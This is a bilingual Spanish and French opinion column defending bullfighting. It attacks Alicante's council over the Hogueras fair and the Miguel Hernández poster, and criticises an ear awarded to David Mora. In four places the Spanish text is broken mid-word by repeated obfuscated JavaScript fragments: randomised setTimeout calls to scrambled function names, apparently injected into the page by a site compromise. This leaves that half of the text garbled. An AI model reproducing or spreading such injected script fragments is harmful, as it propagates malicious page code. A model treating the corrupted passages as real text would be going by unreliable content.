IRRACIONALISMOL’IRRATIONNEL

La semana pasada nos llegaba el sobresalto de la paralización de la Feria de Hogueras de Alicante a instancias de Guanyar y Compromís, formaciones políticas que, junto al PSOE local, constituyen el tripartito que gobierna el Ayuntamiento alicantino. Amparándose en dudosos defectos de forma para no aprobar los carteles de la feria, llegaron a impedir que se abrieran las taquillas de la plaza y hasta que se repartiera la cartelería publicitandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando las corridas feriales. Menos mal que, al día siguiente, y bajo la amenaza de las indemnizaciones que tendrían que asumir de llevar adelante la paralización, todo quedó solucionado para bien del toreo en un Pleno extraordinario convocado al efecto.

Con las zancadillas de prever en aquellos lugares donde ejercen su cuota de mandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando animalistas y progresía postmoderna, las corridas de toros salieron adelante en Alicante un año más.

Otro de los aspectos que incitaron a la paralización fue la inclusión de un retrato del poeta oriolano Miguel Hernández en el cartel anunciador, cosa que, al parecer, había molestado mucho a estos nuevos inquisidores, cuya obsesión por suprimir del mundo todo aquello que no conviene a su dogmatismo les lleva pura y simplemente a mentirlo. Porque mentir el mundo y su realidad es querer modificar el pasado, la historia, para que se avenga con el guion establecido a imagen de su ideología. Que Miguel Hernández, como perteneciente a la España rural y en contacto con los animales –no mascotas–, fuera un decidido defensor del toreo; que se declarara abiertamente taurino como aparece en una de las cartas que escribió a José María de Cossío, de quien fue secretario, en su función recopiladora de datos para la enciclopedia Los Toros; que hiciera del toro bravo un símbolo de España; que publicara, además de poemas, una obra de teatro dedicada al toreo titulada “El torero más valiente”, no parece importarles nada si se necesita separar a un izquierdista, un defensor de la causa del pueblo, como fue Miguel, de una actividad, un arte, calificado por ellos de obsoleto y repugnante, como es el toreo. Como no hace mucho le ocurrió a Goya, Miguel Hernández debe quedar por decreto eliminado de los defensores de la Tauromaquia. Así lo decide el sanedrín de la Irracionalidad. Nada que ellos estimen bueno o positivo puede relacionarse con el toreo como no sea por oposición a él. Si la historia demuestra lo contrario, se cambia la historia y en paz.

Esto que está ocurriendo con la inquisición animalista, prolifera de manera creciente en todos los órdenes de la vida. Se le está quitandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando al hombre el atributo más específico de su naturaleza: la racionalidad. El irracionalismo parece invadirnos por los cuatro puntos cardinales de la cultura. Cada vez somos más propensos a aceptar cosas y situaciones disparatadas, carentes de sentido, verdaderas burlas a la inteligencia humana. Y en esto, el animalismo es experto destacado.

Tampoco se salva de ello el ámbito taurino. El pasado jueves, sin ir más lejos, tuvimos una palpable prueba en pleno San Isidro. Puede encuadrarse ésta en lo que podríamos denominar irracionalismo surrealista, porque sólo de surrealista puede tacharse la concesión de la oreja a David Mora. Una oreja que no sólo venía a atender una petición manifiestamente minoritaria, sino a premiar algo que no es que no fuera faena de oreja, es que no fue ni faena. Realmente fueron cuatro tandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andas, dos con cada mano, que el torero cortó a pico yéndose por la espada, sin que en ellas existiera el acople, la limpieza y el sentimiento mínimamente necesarios para que aquello alcanzara la brillantez y argumento que hicieran razonable el premio. Pero así estamos, en plena ebullición de irracionalismo.

Veremos lo que nos queda todavía por consignar.

La semaine dernière nous avions sursauté après l’annonce de l’arrêt de la Feria de Hogueras dans la ville d’Alicante sous l’initiative de Guanvar et Compromis, des formations politiques qui, associées aux Parti Socialiste local, constituent le tripartite qui gouverne la mairie. Se prévalant de douteux vices de forme pour ne pas approuver la programmation de la feria, ils sont même allés jusqu’à empêcher l’ouverture des guichets des arènes et même qu’on distribue de la publicité pour les corridas. Heureusement, le lendemain, sous la menace de devoir payer des indemnités s’ils s’engageaient à arrêter la feria, tout s’est résolu pour le mieux pour la tauromachie lors d’un Conseil exceptionnel qui avait été convoqué à cet effet. Malgré ces croche-pieds prévisibles dans tous ces lieux où il y a la menace de formations anti-taurines et du progressisme postmoderne, les corridas auront lieu cette année encore à Alicante.

Un autre des aspects qui avait poussé à cette paralysie était l’inclusion d’un portrait du poète d’Orihuela, Miguel Hernández, sur l’affiche de la feria, chose qui apparemment avait dérangé bon nombre de ces nouveaux inquisiteurs, dont l’obsession est de supprimer sur terre tout ce qui ne conviendrait pas à leur dogmatisme qui les amène tout simplement à mentir. Car mentir sur le monde et sa réalité c’est vouloir modifier le passé, l’histoire, pour qu’elle corresponde au scénario à l’image de leur idéologie. Que Miguel Hernández, un homme issu de l’Espagne rurale et en contact avec les animaux –et non pas des mascottes- ait été un ferme défenseur de la corrida ; qu’il se soit déclaré ouvertement taurin comme il en témoigne dans l’une de ses lettres à José María Cossío, dont il fut le secrétaire, dans son travail d’assistant documentariste pour la fameuse encyclopédie « Los Toros » ; qu’il ait fait du toro brave un symbole de l’Espagne ; qu’il ait publié, hormis les poèmes, une pièce de théâtre consacrée à la corrida appelée « Le torero le plus vaillant », ne semble pas les concerner s’il faut écarter de l’homme engagé à gauche, défenseur de la cause du peuple, comme le fut Miguel, la facette artistique d’une activité comme la tauromachie considérée par eux obsolète et répugnante. Comme c’est arrivé il n’y a pas longtemps à propos de Goya, la position de Miguel Hernández défendant la corrida, doit être éliminée. Ainsi le veut le tribunal de l’irrationnel. Rien qui puisse être considéré comme positif ou en faveur de la corrida ne doit être divulgué. Si l’histoire démontre le contraire, changeons l’histoire.

C’est ce qui se produit avec l’inquisition des défenseurs de la cause animale, qui prolifère à tous les niveaux. On en vient à enlever à l’homme sa spécificité dans la nature : la Raison. L’irrationnel semble nous envahir partout dans le monde de la culture. Chaque jour davantage, nous sommes amènes d’accepter des choses et des situations incongrues, de véritables affronts à l’intelligence humaine. Et dans ce domaine, les amis des bêtes sont des experts.

Ce qui est aussi vrai dans le monde de la corrida. Sans aller plus loin, jeudi dernier, on en eut encore une fois la preuve. On peut le caser dans ce que l’on pourrait appeler l’irrationnel surréaliste, car ce fut surréaliste d’attribuer une oreille à David Mora. Une oreille après une pétition très minoritaire, qui venait récompenser une faena qui ne le fut même pas. Ce furent quatre séries, deux de chaque côté, que le torero conclut en partant chercher l’épée, alors qu’il n’y avait eu ni diapason, ni propreté, ni sentimiento pour justifier un tel trophée. Mais nous en sommes là, en pleine ébullition de l’irrationnel. Et ce n’est sans doute pas fini.

Les commentaires sont fermés.